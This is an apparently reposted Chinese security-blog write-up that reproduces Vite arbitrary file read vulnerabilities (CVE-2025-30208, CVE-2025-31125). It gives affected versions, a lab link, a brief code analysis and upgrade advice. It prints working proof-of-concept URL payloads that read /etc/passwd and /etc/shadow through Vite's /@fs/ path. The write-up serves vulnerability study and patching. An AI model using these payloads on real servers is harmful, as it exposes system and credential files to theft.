Vite 任意文件读取漏洞

admin 2025年4月6日20:13:47评论6 views字数 950阅读3分10秒阅读模式

先关注,不迷路.

免责声明

       请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞介绍

Vite是一个现代前端构建工具,为Web项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用Rollup打包代码的构建命令。该漏洞允许攻击者通过构造特殊 URL 绕过 Vite 的文件访问限制,读取服务器上的任意文件内容。

影响范围

6.2.0 <= vite <= 6.2.3

6.1.0 <= vite <= 6.1.2

6.0.0 <= vite <= 6.0.12

5.0.0 <= vite <= 5.4.15

vite <= 4.5.10

CVE

CVE-2025-30208

CVE-2025-31125

漏洞复现

环境搭建:

https://github.com/vulhub/vulhub/blob/master/vite/CVE-2025-30208

Vite 任意文件读取漏洞

POC:

(这微信页面直接复制代码格式会乱,可以浏览器打开复制)

/@fs/etc/passwd?raw??/@fs/etc/passwd?import&raw??

CVE-2025-30208

Vite 任意文件读取漏洞

CVE-2025-31125

/@fs/etc/shadow?logo.svg?.wasm?init/@fs/etc/passwd?import&?inline=1.wasm?init
Vite 任意文件读取漏洞

漏洞分析

Vite 任意文件读取漏洞

满足id.endsWith(".wasm?init"),调用fileToUrl$1(this, id);也就是结尾需要满足.wasm?init

Vite 任意文件读取漏洞
Vite 任意文件读取漏洞

继续向下这里默认走的fileToDevUrl(environment, id)

Vite 任意文件读取漏洞

id调用cleanUrl生成file,会替换?#后面的内容,就只保留原始的数据了。如/etc/shadow?&raw??会被替换为/etc/shadow

Vite 任意文件读取漏洞

svg也能满足读取读取文件

修复意见

Vite 官方已发布安全补丁:https://vite.dev/

请尽快通过 npm update vite 或手动升级到以上版本以修复漏洞。

如有侵权,请及时联系删除。

原文始发于微信公众号(PokerSec):【漏洞复现】Vite 任意文件读取漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日20:13:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vite 任意文件读取漏洞https://cn-sec.com/archives/3918295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息